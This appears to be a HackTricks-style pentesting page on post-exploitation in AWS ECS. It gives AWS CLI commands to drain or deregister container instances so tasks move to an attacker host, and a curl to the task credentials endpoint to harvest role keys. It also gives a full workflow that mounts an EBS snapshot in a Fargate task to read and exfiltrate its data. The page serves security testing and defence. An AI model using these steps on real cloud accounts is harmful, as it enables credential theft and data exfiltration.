# AWS - ECS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## ECS

For more information check:

{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}

### Host IAM Roles

In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}

> [!CAUTION]
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

### Privesc to node to steal other containers creds & secrets

But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.

#### Making containers run in current host

Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.

```bash
aws ecs update-container-instances-state \
    --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```

The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**

```bash
aws ecs deregister-container-instance \
    --cluster <cluster> --container-instance <container-instance-id> --force
```

A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:

```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
    --status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```

#### Join the Cluster With an Attacker Host (Register Container Instance)

Another variant (more direct than draining) is to **add capacity you control** into the cluster by registering an EC2 instance as a container instance (`ecs:RegisterContainerInstance`) and setting the required container instance attributes so placement constraints match. Once tasks land on your host, you can inspect/exec into containers and harvest `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` credentials.

See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow.

### Steal sensitive info from ECR containers

The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).

### Steal Task Role Credentials via `ecs:ExecuteCommand`

If `ExecuteCommand` is enabled on a task, a principal with `ecs:ExecuteCommand` + `ecs:DescribeTasks` can open a shell inside the running container and then query the **task credentials endpoint** to harvest the **task role** credentials:

- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role

See the ECS privilege escalation page for enumeration and command examples.







### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.

- Needs (minimum):
  - ecs:RegisterTaskDefinition
  - One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
  - iam:PassRole on:
    - ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
    - Task execution/Task roles referenced by the task definition
  - If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

Steps (Fargate example):

1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:

```bash
aws iam create-role --role-name ecsInfrastructureRole \
  --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
  --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```

2) Register a task definition with a volume marked `configuredAtLaunch` and mount it in the container. Example (prints the secret then sleeps):

```json
{
  "family": "ht-ebs-read",
  "networkMode": "awsvpc",
  "requiresCompatibilities": ["FARGATE"],
  "cpu": "256",
  "memory": "512",
  "executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
  "containerDefinitions": [
    {"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
     "entryPoint":["/bin/sh","-c"],
     "command":["cat /loot/secret.txt || true; sleep 3600"],
     "logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
     "mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
    }
  ],
  "volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```

3) Create or update a service passing the EBS snapshot via `volumeConfigurations.managedEBSVolume` (requires iam:PassRole on the infra role). Example:

```json
{
  "cluster": "ht-ecs-ebs",
  "serviceName": "ht-ebs-svc",
  "taskDefinition": "ht-ebs-read",
  "desiredCount": 1,
  "launchType": "FARGATE",
  "networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
  "volumeConfigurations": [
    {"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
  ]
}
```

4) When the task starts, the container can read the snapshot contents at the configured mount path (e.g., `/loot`). Exfiltrate via the task’s network/logs.

Cleanup:

```bash
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```

## References

- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)

{{#include ../../../../banners/hacktricks-training.md}}
